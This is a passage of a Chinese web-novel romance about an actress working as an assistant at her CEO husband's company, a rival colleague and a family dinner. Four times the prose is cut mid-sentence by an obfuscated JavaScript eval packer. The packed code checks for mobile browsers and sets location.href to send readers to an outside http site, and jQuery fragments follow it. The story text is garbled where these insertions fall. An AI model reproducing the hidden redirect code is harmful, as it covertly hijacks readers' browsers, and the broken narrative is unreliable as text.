察觉到客厅里不同以往的安静,他眉梢微挑,“怎么都不说话。耗子见了猫了?”
说谁是耗子呢。温珍旎在心里默默反驳了一句,键盘敲得更响了。
“咳,没什么!”慈宇反应飞快,将剩下的蜂蜜水一饮而尽,杯子往茶几上一放,“嫂子你慢慢忙,我困死了,就先去睡了。”
他一把捞起绕着腿打转的星星,迅速塞回充电舱,然后脚底抹油,溜得比兔子还快。
偌大的挑高客厅里,瞬间只剩下温珍旎,和散发着强大气场的男人。
温珍旎脸上堆起笑,端起一杯蜂蜜水,献宝似的递到慈恒面前,“老公辛苦了,老公喝蜂蜜水。”
她眨巴着眼,语气活像跟主人讨要猫条的小猫。
慈恒接过杯子,看她眼神坚毅得像要上战场,心头警铃大作,“你想做什么?”
“那个老公啊……”温珍旎抱住他的手臂,尾音刻意放软,“你有时间吗,帮我一点小忙呗。”
慈恒低头看向电脑屏幕,“董事会汇报?”
“嗯嗯。”温珍旎点头如捣蒜,眼里蓄了一汪水亮的星,任谁看了都不忍拒绝,“可不可以帮我做一下?”
这一幕何其熟悉。
上学的时候她就这样,遇到解不了的数学题,就抱着书本,亦步亦趋地跟在他身后,用这双柔软的眼睛一直望着人,直到把人的心望软。
她性格很好,也很有耐心。
哪怕他故意冷脸,皱眉表现出不耐烦,用生人勿近的气场吓退她。她也总能神奇地屏蔽掉那些不好的表情,继续软磨硬泡,等到他的坚持彻底崩塌,认命般地接过她手里的作业。
每每如此,他总是无可奈何地缴械投降。
但是结婚后,她那份磨人的耐性似乎变弱了。
慈恒淡定地饮完蜂蜜水,没打算插手,“最基础的东西,还没到你解决不了的程度。我相信你能做出来。”
她能做出来,还用在这里揪头发嘛。
这狗男人的心到底是什么做的,难搞的时候是真难搞。
温珍旎用力晃他的手,“我脑子已经坏掉了,老公,你真的忍心见死不救吗?”
“自己的事自己做,天下没有白吃的午餐。”
慈恒不为所动,甚至将她的手臂扒拉下来,“洗澡睡觉去。”
“无情!”
见说不动他,温珍旎也不想搭理他了,嘴里嘟囔着跑上楼。
客厅重归寂静,慈恒放下水杯,目光落在屏幕上仅写了五页的内容,无声地叹了口气,最终还是认了命,拉开餐椅在电脑前坐下。
化妆室里。
奚淼打视频来时,温珍旎刚洗完澡,脸上正敷着一层冰凉水润的蚕丝面膜。
“姐们,明晚有时间吗,出来聚个会呗。”
屏幕那端的女人泡在铺满玫瑰花瓣的豪华浴缸里,手里摇晃着红酒杯。
背景看着像酒店的总统套房,不知道又去哪浪了。
温珍旎表示羡慕,“去不了,忙得脚打后脑勺呢。”
“又加班呐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945282|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,小可怜。”
奚淼美美地嘬着红酒,完全体会不了她的没苦硬吃,“放着金矿不会挖!有老公不用,你说你结这个婚干嘛,给自己双人床凑个整啊。”
温珍旎声音闷闷的,“他只走肾,不走心的,问也白问。”
奚淼恨铁不成钢地瞥了她一眼,优雅地晃着酒杯,“男人是下半身动物,他要是暗示你给点好处,你就顺水推舟给点甜头。枕边风一吹,什么事解决不了?这不比你浪费时间瞎努力强。”
温珍旎面膜下的嘴角扯了一下。能让他这个资本家考虑的,也就床上那点事了。
“还是算了吧。”
她甚至破罐子破摔地想,等到项目开工就解脱了,眼睛一睁一闭也就熬过去了。
揭掉有些发干的面膜纸,她对着屏幕那头还在激情献策的奚淼摆了摆手,“淼淼,我先挂了,空了再聊。”
退出视频,带着点自暴自弃的疲惫,她趿拉着拖鞋回到主卧。
目光扫过房间,忽然发现她那台笔记本躺在沙发上。
走过去坐下,重新掀开电脑屏幕,当那份原本只完成了可怜巴巴五页的PPT完整地呈现在眼前时,她整个人都愣住了。
排版虽然简洁,但是图表专业,逻辑清晰,简直堪称完美。
愣了好半晌,温珍旎才回过神来,混杂着感动的惊喜一瞬间漫上心头。
她尖叫着从沙发上弹跳起来,一个飞扑,扑到了刚从浴室出来的男人怀里,树袋熊似的挂在他身上,“谢谢你,我的亲老公。”
慈恒被这突如其来的袭击撞得身形一晃,擦头发的毛巾掉在了地上,他却是下意识先护住她的腰。
“温珍旎,什么叫亲老公。你还有不亲的老公?”
他努力维持着惯常的冷硬声线,试图把她从身上扒下来。
温珍旎非但不松手,反而抱得更紧,往他脸上叭叭地送亲了好几口,“不管怎么说,谢谢你,老公。”
他托着她的手臂不自觉地收紧了些,嘴上嫌弃道:“就你那乌龟速度,耽误正事,影响我睡觉。”
“嗯嗯,知道啦。”嘴硬心软的男人。
温珍旎蹭着他的颈窝,“我老公最好了。”
慈恒被哄得压不住嘴角。
他轻叹了口气,放弃了把她扒下来,就这么搂着人朝床边走去。
“抱也抱了,谢也谢了。”走到床边,他微微侧头,声音柔和道,“该下来睡觉了。”
温珍旎心满意足地松开手,从他身上滑下来,钻进被窝的同时,也拽着他躺下。
趁他这会儿心情好,趁热打铁道:“老公,我想申请重新评估部门工作量。”
慈恒闭着眼,手臂松松地环着她,从鼻腔里哼出一个单音:“嗯?”
“跟我谈条件。”他侧过头,指尖捏着她的耳垂,“终于吃不了苦,打算改走捷径,求我放水了?”
温珍旎抱住他手臂,义正言辞道:“工作量分配本来就不合理,我这是基于事实,代表总裁办员工提出合理诉求。”
她努力让自己的眼神显得无比正直,“慈总,相信我,我说的都是真的。”
慈恒低声笑,手掌往下滑,裹住她腰的曲线。
掌心的温度透过睡裙熨帖着肌肤,他凑近她耳边,“看你表现。”
27. 027
温珍旎被气息熨红了耳尖,带点报复性的意味,一口咬在他锁骨,留下一圈明显的齿印。
男人反手捏起她的下巴,喉结震动,溢出不满的声音,“倒是再用点力,平时不是挺厉害的。”
温珍旎的嘴被他捏成了河豚,讲不了话,只能睁圆了眼睛。
看她鼓鼓囊囊的样子委实可爱,慈恒眼底浮起笑意,缓缓松开手,将人揉进怀里。他低下头,轻蹭着蓬松馨香的软发,声音温和,“我知道了,让我想想。”
有得商量,说明开闸放水的几率很大。
温珍旎一高兴,手臂立刻环紧他的腰,趁他低头的动作,仰起脸来吻住了他的唇。
突然又没有任何章法的吻,只是任性地表达自己此刻的喜欢,慈恒被温软的气息包裹的瞬间,着实有些无可奈何。
但随着气息加深,他收拢手臂,稳稳地扶着温珍旎的后脑勺,纵容地加深了这个吻。
为了剩下几天的幸福,这天晚上温珍旎可谓是使出了浑身解数。
代价就是严重透支,连做梦都是泡在各种文件里,早上起来困得眼皮一直打架。
“倩倩,你气色欠佳啊。”
茶水间里,露西端着水杯打量她,语气带着八卦的味道,“昨晚去哪玩了,困成这样?”
温珍旎打着哈欠摆手,“哪都没去,赶PPT呢。”
果盘里备了各种口味的糖果,她挑了一颗提神醒脑的薄荷糖。
刚捏开绿色的糖纸,把糖果塞到嘴里,露西凑到她耳边说:“告诉你一个天大的好消息。慈总今天早上突然宣布,给我们总裁办特批减负了,以后除非突发情况,下班都不许加班了。”
薄荷糖上头的凉意,那股劲辣的味,都抵不住眼皮的沉重。
听到这话,温珍旎反应了好几秒,“真的?”
“保真。”露西把消息给她看,“慈总一早发了工作邮件,让我今天发布通知呢。”
温珍旎愣了愣,还是有些意外的。昨晚慈恒说了会考虑,几率虽然有,但是她没想到这么快就给批了。
“那挺好,以后大家都不用加班了。”
“是啊是啊。”
露西松了一口气,表情带着点不可思议,“咱们慈总表面看上去严肃吓人,其实还蛮好说话的嘛。”
都说慈恒工作上是不近人情的大魔王,温珍旎觉得也还好,“慈总没那么可怕吧。”
“你是不知道。”露西仿佛找到了倾诉对象,倒豆子似的往外倒,“第一次见到慈总,气场就很吓人,而且他刚上任就使出雷霆手段,把一帮难搞的股东全给镇住了,可见手段有多狠辣。大家都说完蛋了,走了阎王,来了超级大魔王,更苦的日子要来了。”
露西蛐蛐完老板,又有其他同事进来接水了,便赶紧闭上嘴,挽着她回了工位。
虽然会通知减少工作量,但该自己做的还是得做。
温珍旎打开OA系统,核对了慈恒今天的日程。下午有两场会议,需要确保仪器使用和资料印发。
她将其中一场临时改了时间的会议通知同步给相关高管后,开始着手准备会议要用的资料包。
上午,慈恒和陆方洋外出处理公务了,没在公司,所以午饭是和同事去食堂吃的。
随着夏日暑热渐高,加上晕碳反应,人是越来越困了。为了更好地应对下午的工作,温珍旎只能趴工位上将就睡会儿。
慈恒处理完事务回公司,经过总裁办,目光习惯性地向内一扫,停留在某个身影时,镜片后的视线倏然顿住。
或许是桌面太硬,趴着的人并不舒服,时不时地调整着睡姿。
跟在慈恒身后半步的陆方洋也看到了这一幕,目光在温珍旎身上停留一瞬后,偏头看向老板,笑着说:“总裁办的工作量可不轻,没想到太太坚持到了现在。”
对待这种临时性岗位,很多人通常都是抱着能混则混的心态。
着实没料到他们这位看着娇气的总裁夫人,会拿出如此拼命的劲头,从头到尾工作一点没落下。
慈恒深邃的目光透过镜片,在那张睡得不甚安稳的脸上停留了片刻,偏头看向陆方洋,“让她来我办公室。”
陆方洋会意地点点头,朝温珍旎的工位走了过去。
温珍旎睡得正沉,迷迷糊糊地感觉有人在拍肩膀。她艰难地掀开眼皮,视野一片模糊,只看到一个人影站在旁边。
“……嗯?”她含糊地应了一声,带着浓重的鼻音。
陆方洋脸上挂着恭敬的微笑,声音刻意放得很轻,“慈总回来了,请您去他办公室一趟。”
**
温珍旎被叫到总裁室,是带着起床气的。
本来睡得好好的,陆方洋突然把她薅了起来,说是慈恒找她有事。
工作上的事就不能上班再谈,非得占用员工的午休时间。
无良的资本家!
她心里的邪恶小人已经挥舞着刀叉把狗男人扎成了筛子,面上却只能认命地挣扎起来,拖着有气无力的躯壳,脚步虚浮地挪到了总裁室门口。
象征性地敲了两下门,没等里面回应就推门进去。
“慈总。”她声音干巴巴的,怨气藏不住,“您有何吩咐?”
慈恒拿着喷壶,在给粉百合花喷水,听到声音手里的动作也没停,只是侧过头问:“昨晚没睡好?”
能睡好就怪了。温珍旎蔫蔫地点头,“嗯,很困。”
所以赶紧让她回去睡觉。
“去休息室里睡。”
“……”温珍旎以为自己听错了,“啥?”
慈恒放下喷水壶,转身推开推开了内侧一扇玻璃移门,门后是一间私人休息室,“我是说,以后要午休就过来。”
休息室设施齐全,安静私密,是专为总裁休息准备的。只是慈恒回国后的行程密不透风,鲜少有机会在这里休息。
他拉上窗帘,遮住玻璃外的炎炎夏日。见人杵在原地没动,又过来牵住手腕,把人带到床边,“脱鞋。”
有床睡当然再好不过了。
温珍旎踢掉鞋子,爬进柔软的被窝前,嘴里小声嘟囔,“慈总,我可是正经员工。”
“我也是正经老板。你脑子里整天都在想什么!”
慈恒曲指弹了她脑门一下,顺势取下脑后的鲨鱼夹。
丝缎般的黑发倾泻而下,扫过肩背时,有点痒酥酥的,让她不由地轻颤了一下。
温珍旎拢了拢散开的头发,缩进被子里。
就在她屈起膝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959797|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盖时,雪纺裙滑落,腿侧那片还未消退的乌青伤痕,显得格外清晰。
“怎么磕到的?”慈恒的眉头蹙起,握住她的小腿,掌心轻覆上去,仔细查看那处淤痕。
肌肤残留着指腹温热的触感,一阵酥麻顺着小腿蔓延,让人感觉麻麻的。
温珍旎小幅度挣扎了一下,“差点迟到那天,磕到床上,都好几天了。”
眼神飘向他的下颌骨,那里的刮痕颜色也变浅了好多,“你害我磕到腿,我弄伤了你下巴,咱们扯平了。”
慈恒眉峰微挑,没说什么。他松开手,将被子盖到她肩膀位置,“快睡觉。”
床垫是记忆棉的,被子也很柔滑,舒服是舒服,可被他这么一通折腾,那点困意已经飞到了九霄云外。
温珍旎咬着被角,酝酿着睡意。突然看到他在床沿坐下,利落地摘下眼镜,解开那枚陀飞轮腕表。
金属表带搭扣“咔哒”一声,被他随意搁在床头柜上。
温珍旎在黑暗里倏地睁大了眼睛,带着点难以置信,“你不会要白日宣淫吧!这里是公司,就算你是总裁,也不能乱来。”
慈恒被她的无端指控噎到失语,“我叫你过来,是让你睡觉,不是睡你。”
他抬手揉了揉眉心,解开衬衫最上面的两颗纽扣,袖口卷到肘弯时,露出贲张的肌肉线条。
随着他倾身靠近,一股清冽的气息强势地笼罩下来。温珍旎喉头不着痕迹地滚动了一下,“工作狂也要睡觉啊……我还以为你靠光合作用就能活呢。”
细弱蚊蚋的一句,还是清晰地落进慈恒的耳朵。
“我是人,不是钢铁机器,是人就需要休息。”他掀开被子一角,带着强势的气息躺了进来。
温珍旎的心脏瞬间提到了嗓子眼,毕竟是在公司,搞不好下一秒就有人推门进来。
她下意识想要拉开距离,然而,一只手臂更快地环过腰,将试图逃离的她按进怀里。
好在接下来没有过分的举动,只是隔着雪纺裙扣住了她的腰。
“闭眼。”骤然贴近的气息拂过她的眼帘,语气戏谑,“还是说,在等我唱摇篮曲,哄你睡觉?”
这人的嘴,一天不损她就难受。
算了,睡不着就硬睡,眯会也行。
温珍旎阖上眼,可两排小扇子般纤密的睫毛却止不住地轻颤。
“你应该报演技基础班。”男人的低笑声在耳边响起,带了薄茧的指腹压上她的眼尾,“装睡都装不像。”
被他当面戳破,温珍旎憋不住“噗嗤”一声笑了出来。
她睁开眼,撞进他发亮的眸子,“你抱的太紧了。”
回应她的是衣料摩擦的窸窣声,身旁的人缓缓抽出了手臂。
就在温珍旎以为他放开自己时,下一刻手腕又被倏地攥住,带到了他坚实紧绷的腰腹上。
指尖瞬间陷进壁垒分明的肌肉纹理,隔着丝质衬衫,她清晰地感受着脉搏震颤,一下一下,在手心热辣辣地跳动。
“摸着是不是就能睡着了?”他声音混着衣料的窸窣声,温热的气息擦过耳畔,带着她的手向上游走。
“……”我滴个老天,到底是谁教他的?
谁家好人的心那么大,摸着腹肌还能睡着。
28. 028
不过,她是不是可以大胆地断定,他是为了引起她的注意,故意贩卖男色的。
这种招数虽然简单粗暴,但也确实管用。
温珍旎觉得浑身的血液都在轰轰地上涌,一路烧到了耳根,而脑子却是空白的,仿佛被冻住了一般。
几秒后,意识回笼,耳尖烫红。
反正是他自己送上门的福利,不摸白不摸。
想到这里时,她的手已经在那壁垒分明的肌肉了起来。
坚实但柔软,满载蓬勃的生命力,手感好到让她想偷偷拍下来私藏。
抛开毒舌刻薄不说,像他这样的,每天高强度工作,还能挤出时间健身,保持身材,简直是稀有动物。
“很好摸?”被摸了个遍的男人甚至还能淡定地询问她的使用感受。
“好用。”温珍旎含着热泪点头,要是狗男人大方点,天天都愿意给她摸就更完美了。
美色当前,她听到了节操碎一地的声音。
唉,她怎么就管不住这手呢。
强烈的羞耻感伴随着更大的满足感席卷而来,温珍旎没骨气地呜咽了一声,把滚烫的脸埋进了男人的胸口。
她都不知道自己是怎么枕着八块腹肌睡着的,慈恒又是什么时候出去的。
醒来后,卧室里一片安静,只有外间办公区时不时传出键盘的敲击声。
枕间还萦绕着两人的衣香,温珍旎用力吸了一口气,拥着滑落的夏被起身。
捞过手机看时间,两点四十分了,早就过了午休时间。
……行吧,狗男人又没叫她起床!
来不及兴师问罪了,她匆匆穿上鞋,整理好胸前的工牌,正准备出去,外间响起了玻璃门被推开的轻响,有人进来了。
随着高跟鞋叩地的节奏,是一道熟悉的女声,“阿恒。”
来的是姜琳。
她径直拉开慈恒对面的椅子落座,将手中文件夹推至慈恒面前。
“知道你行程紧,我就先过来一趟。关于观景楼设计方案的补充部分,你再看看。”
慈恒眼皮都没抬一下,指尖随意翻开,粗粗浏览起来。
姜琳看着他说:“上次你提出的创新需求,我们在新的方案里加入了智能化系统,三点钟要和赵副总确认第四版方案。”
“嗯。”他快速浏览着方案,颔首淡声道,“让赵副总决定就好。”
纸张翻动的哗啦声,夹杂着西装摩擦出的窸窣声,在安静的办公室里清晰可闻。
沉默的片刻,他将翻完的文件合拢,重新放回到姜琳面前。
姜琳收回文件起了身,却没有立即离开。
她的视线落向瓶中盛放的百合花,唇角弯起弧度,“对了,周六的同学会,地点在锦煌夜宴,让带家属。”
她以玩笑的口吻说:“你结婚这么久了,一直把慈太太宝贝似的藏着,也是时候带给大家认识了吧。”
话音落下,“哐当”一声响,沉闷的重响从紧闭的休息室内炸开。
重物坠地的碎裂声惊动了外间的两人。
姜琳表情诧然地望向休息室紧闭的玻璃门。
几乎同时,慈恒低沉的声音在耳畔响起,“走路当心些。”
是对着里面说的,没有责怪,柔和的声线近乎是纵容的。
姜琳脑子里“嗡”的一声,瞬间空白,声音都变了调,“你还有客人在?”
她的目光一瞬不瞬,看着磨砂玻璃上晃动着剪影,是女人抬手绾发的轮廓。
下一刻,玻璃门推开了一道缝隙,探出温珍旎那张赧然的脸。
她发丝微乱,脸颊染着一抹刚睡醒的薄红,“抱歉抱歉!打扫的时候,不小心撞倒了落地灯。”
她单手扶着门,笑吟吟地跟姜琳打招呼,“姜总你好。”
裙子因为睡姿微微起皱,耳后翘起了两簇卷曲的碎发,配上没有完全清醒的眼神,浑身上下都透着刚醒来的痕迹。
又是从私人休息室走出来的,谁会相信只是单纯地打扫卫生。
“乔助理。”姜琳整理好表情,下巴微抬,朝她点了点头。
在对方审视的目光里,温珍旎将两簇碎发压下,朝办公桌后从始至终都一脸镇定的男人弯起笑眼,“慈总,那我先回去工作了。”
几乎是温珍旎踏出总裁室,姜琳的高跟鞋声便紧随其后。
“乔助理和慈总的关系似乎不一般?”
温珍旎脚步微顿,侧过头,光线落在姜琳妆容完美的脸上,珊瑚红的唇釉光泽诱人,却衬得她眼神过于锐利。
她语气轻视,毫不掩饰对她的敌意,“我理解,事业有成的上位者,年轻小女生难免崇拜仰慕,产生一些不切实际的幻想。”
“只是容我提醒你一句,阿恒是有家室的人,你这样没有边界感,明目张胆地出入他的私人领域,是陷他于不义。”
温珍旎算是听出来了。
如果说有关系,她该怎么解释和已婚男人的牵绊。
如果说没关系,事实摆在眼前,那不是把人当傻子吗。
温珍旎脸上的笑容非但没减,反而愈发明媚,那双弯起的眼睛,像盛着一捧月光,亮得不敢让人直视。
她没有正面回答,只是用这副无辜的神情,轻轻抛出一句,“一般来说,目睹这种事,缄口不言才是绝大多数人的反应。姜总的反应,也不像是出于普通朋友的关心。姜总要怎么解释所谓的边界感?”
姜琳没料到这个小助理如此坦诚,思维敏捷得令人意外,表情一时间滞在了脸上。
意外之余,更多的其实是被看穿心思的不安。
“作为阿恒多年的好友,我只是不希望他被琐事缠身,影响他的声誉。”
这话说得不自然,连她自己都感觉到底气不足。
温珍旎眨着眼,向前踏了半步,看进姜琳强作镇定的眼底,微笑着拆穿了她的心思。
“姜小姐,其实是喜欢他吧?”
她的眼神干净存粹,不掺杂丁点污浊。
仿佛该心虚气短的不是这个从老板休息室出来的小助理,而是自己。
姜琳见惯了商场上的人心嘴脸,自认练就了一身看透人心的本事,可在这双眼睛的注视下,她的优越感完全不堪一击。
温珍旎没有错过姜琳眼中还在强撑的体面。
她无意纠缠下去,让对方下不来台,因此没再继续说下去,从容
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972682|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地转身离开了,独留姜琳脸色难看地站在原地。
和姜琳短暂交锋后,温珍旎直接回了总裁办。
偌大的办公室,只有露西在。
“你去哪了,我发微信给你都没回。”
露西拉住她的胳膊就要出门,“陆总助急召,让咱们去会议室,要听即时汇报。
“马上,你等我拿一下笔记本。”
进入工作状态,温珍旎将方才的小插曲抛到了脑后,抓过笔记本,路过玻璃时快速地整理好发型,和露西赶去会议室。
接下来的几天,项目进入短暂的平稳期,压在总裁办头上的工作量大大减少了。
紧绷的那根弦一松下来,时间便如白驹过隙,转眼就到了周五。
这是温珍旎以助理身份在泰华上班的最后一天。
她没什么东西收拾,只是整理好工位,在车上等着慈恒结束高层会议,然后一起回金家。
“小恒最近很忙啊,珍旎跟我说,你这个月基本都在开会。”
桌上菜香四溢,金宵给女儿女婿各夹了一块香酥排骨,谈起工作上的事,满眼都是欣赏。
“谢谢爸。”慈恒舀了一勺金黄油亮的蟹粉豆腐,放进温珍旎碗里。
在岳父面前,他应答从容,语气谦和,“刚接手公司事务,千头万绪,很多地方需要熟悉,只能多花精力。”
年纪轻轻就拥有这样沉稳的气度,金宵对这个女婿是一百个满意,“一肩挑起泰华这么大的担子,保持谦逊是对的。”
他眼角的笑纹就没淡下去过,带着点与有荣焉的得意,“昨天跟住建局的王局吃饭,他提到云顶度假区项目的设计理念,是赞不绝口啊。”
温珍旎听了,唇角翘得更高,“爸,你女婿不错吧。”
“是不错。”金宵故意板起脸,瞪了女儿一眼,“你要是有小恒一半省心,我就省心多了。”
温珍旎夹菜的手顿了一下,不服气地撅着嘴,“爸,你这是拉踩,我不接受。再说了,我也不差的好吗。”
“珍旎说得对,在她的领域里,她是独一份的。”慈恒笑着帮温珍旎圆了场,顺势将剥好的虾和蟹肉推到她手边。
金宵哪会真跟女儿计较,看着两人的夫妻关系如此融洽,眼底的笑意更深了。
他用纸巾擦着手,状似随意地问起,“在泰华上班这些天感觉怎么样?没添麻烦吧。”
慈恒唇边勾起笑意,倒是很给她面子,“她很乖,悟性也很高。”
温珍旎哼哼,“以后也没有班上了,我准备进新剧组开工了。”
看着女儿神采飞扬的脸,老父亲眼里有无奈,也有不舍,“你呀,一年到头不着家,想多看你两眼也难。”
对这个女儿是捧着怕摔了,含着怕化了,纵然对她闯荡娱乐圈有一万个不赞同,也还是舍不得说半句重话。
最终,老父亲的千言万语只化作一句叮嘱,“在外面保护好自己,受了委屈,要给小恒说,老爸也随时为你兜底。”
温珍旎眼眶微热,被无条件宠着的感觉熨得她心里暖暖的。
她像小时候那样,一把抱住老父亲,撒着娇,“谢谢爸,你是天底下最好的爸爸了。”
29. 029
吃过晚饭,还是慈恒主动收拾碗筷,温珍旎坐着也无聊,索性跟去帮忙。
“明天周六,你不是要去同学会嘛,要不要我陪你去?”水流冲刷碗碟的哗哗声里,温珍旎随口提起这事。
慈恒低头处理完食物残渣,挽高衣袖,侧过脸看她一眼,眼神带着一丝困惑:“什么同学会?”
他平时太忙了,大事小事一堆,一时半刻没记起来,也是情有可原。
温珍旎提醒他:“高中同学会啊,那天在休息室,我听到你和姜琳的谈话了。”
慈恒恍然,是有这么回事。
他关上水龙头,抽出纸巾擦干手,反手将问题抛了回来,“你想不想去?”
温珍旎把问题原封不动地还给他,“你想我去吗?”
不等他回答,她仰着脸,眨着眼:“同学会带家属,我这个家属还没露过脸呢。虽然不能光明正大地登场,但我可以当一次司机,负责接你回家呀。怎么样,慈总要不要考虑一下?”
突然这么主动,慈恒怀疑她另有目的,“认真的?”
“老婆接老公回家,天经地义。”温珍旎双臂撑着料理台,眼神认真,“你让我去,我肯定去。”
慈恒倒是无所谓,主要还是怕她去了不自在,“我会让林诺事先清理现场。”
“不用那么麻烦,我戴帽子就好了。
慈恒把碗盘放进洗碗机,她帮忙按下启动键,紧接着从冰箱里捧出一盒樱桃番茄,直直递到他眼前。
“我想吃这个,帮我洗。”
她那双亮得惊人的眼睛一眨不眨,像趴在主人膝头求抚摸的猫,就差身后摇尾巴了。
“擦擦口水,快掉出来了。”慈恒用沾了水的食指捏了捏她嘴角,“去沙发上等着。”
“好嘞。”
温珍旎听话地去客厅坐好,片刻后,慈恒端了洗好的水果走了过来。
洗好的樱桃番茄,形状饱满,色泽漂亮,味道也好。
慈恒不爱吃,温珍旎捏起一颗最大最红的,递到他嘴边,非要喂他,“就一颗,相信我,肯定好吃。”
一盘番茄在温珍旎的分配下很快见了底,夫妻俩又去陪金宵聊了会儿家常,直到夜色渐深,才道了晚安,回房休息。
温珍旎坐在梳妆台前,把长发吹到半干,护肤的时候,台面上的手机亮起,一条微信消息“叮”地一声,浮在锁屏上。
她伸手解了锁,是经纪人秦清发的语音。秦清简洁明了地提醒她,假期结束了,新剧开拍在即,明天务必到工作室一趟。
“怎么了?”
慈恒低沉的嗓音自身后响起,高大的身影笼罩下来时,发丝还带着湿意。
温珍旎放下手机,自然地转过身,接过他手里的干毛巾。
她示意他俯身,细心地包裹住微湿的黑发,帮他擦拭起来,“明早去工作室报到,突然要拍戏了,还有点不习惯呢。”
她手上的动作没停,声音听上去不是那么激动。
慈恒顺低着头,方便她的动作,闻言好奇地撩起眼皮,“嗯,怎么说?”
温珍旎弯起了唇角,双手捧起他线条分明的下颌,迫使他看着自己,“因为看不到你,会想你。”
这话就像枯叶吹落湖面,在慈恒心底荡开了一圈波纹。
她表现出来的依赖,哪怕只是口癖,也实实在在取悦到了他。
见她够不着自己,姿势有些别扭,慈恒低低一笑,掌心扣住她腰身,稍一用力,将她整个人抱起,轻轻放坐在梳妆台面上。
身体向前倾时,膝盖自然而然挤到了她双膝间,他抚过她的背,掌心贴着微微起伏的蝴蝶骨,“别忘了,明晚同学会来接我。”
温珍旎双手捧住脸,在他唇上亲了一口:“忘不了。”
话音落下,滚热的吻也跟着落下。他的气息清冽,强势地吮着唇瓣,直到她呼吸乱掉,才退开距离,抱她去床上。
隔天清晨,天边刚泛起蟹壳青,慈恒便出了门。他和重要的合作商约了网球和饭局,一天时间都在外面,要到很晚。
温珍旎在家用过早餐,然后自己驱车去了工作室。
今天阴天,铅灰色的云层压在江面上。江畔被一层湿冷的薄雾笼罩着,空气中的潮气化不开,闷热粘稠得让人昏昏欲睡。
温珍旎窝在秦清办公室里那张宽大舒适的单人沙发里,指尖有一搭没一搭地卷着垂落肩头的长发。
经纪人秦清抱臂坐在对面,仔细跟她交代着行程,“除了既定的剧组拍摄,珠宝品牌站台,还有你参演的那部《偏爱时》,剧方刚刚官宣定档了,需要我们配合一下宣传。”
秦清在iPad上调出了定档剧的最终预告,递到温珍旎眼前。
“戏份不多,人设就是个漂亮的背景板,没有深度挖掘空间。但胜在你本身人气够大,加上服化道贴你,效果还不错,只要营销下足功夫,绝对杀出重围,给观众留个眼前一亮的印象。这种级别的刷脸,性价比还行,咱们不亏。”
这部戏的男女主角是圈内的老派偶像,常年活跃在荧屏,颜值身材管理不错,粉丝基本盘也稳固,可是人气也没高到开播必爆的程度。
温珍旎问:“需要我怎么配合?”
秦清:“配合剧宣拍一组短视频,当天拍完当天回,不耽误正事。”
她是特邀,不需要扛剧。但她的粉丝群体庞大,人气摆在那的,邀请她作宣传对剧组加成很大。
当然,在没有作品的空档期,对温珍旎也有好处。
秦清给她的安排很明确,执行起来也毫不含糊,绝不可能在无利可图的地方过度消耗,那显得太掉价了。
温珍旎跟她虽然才刚共事,但是很相信她,她说什么,就是什么。
秦清就没带过这么省心的艺人,潜意识里也把她当成小孩来照顾。
等她看完了预告片,笑着问怎么样。
温珍旎眨着她漂亮的眼睛,特满足地伸出五根手指,“有五秒钟的镜头,还是特写。”
秦清被她的表达逗乐了,“知道用你来引流,剧方不笨。”
正说着,下楼买咖啡的橙子回来了,她把拿铁给秦清,冰美式给温珍旎。
“正好赶上暑假,热度绝对不低。”有剧播出,就有热度,橙子语气带着兴奋,“珍旎姐又能吸一波新粉了。”
温珍旎喝着咖啡,划动着膝上的屏幕,随手点开其他物料。
“今年你就这一部剧播出。”
秦清回到办公桌,处理起工作邮件,一边跟她聊道:“正片播出前,暂时还不清楚表现如何。我看了剧本,效果估计不会太好。”
这部戏是前年拍的,原著是古早玛丽苏小说,剧情套路早就过时了。
温珍旎心里有数,“从其他方面弥补吧。”
在计划里,秦清没有把希望寄托在这部剧上,“不出彩没关系,人的脑子是活的,我们可以从很多角度营销。”
温珍旎情绪稳定,她欣慰一笑,不忘肯定她,“新人设就是新突破,能让观众重新认识你,也蛮不错。”
她说的对,温
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983434|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珍旎点头附和,“我也这么认为。”
“你是不是没有控制饮食?”
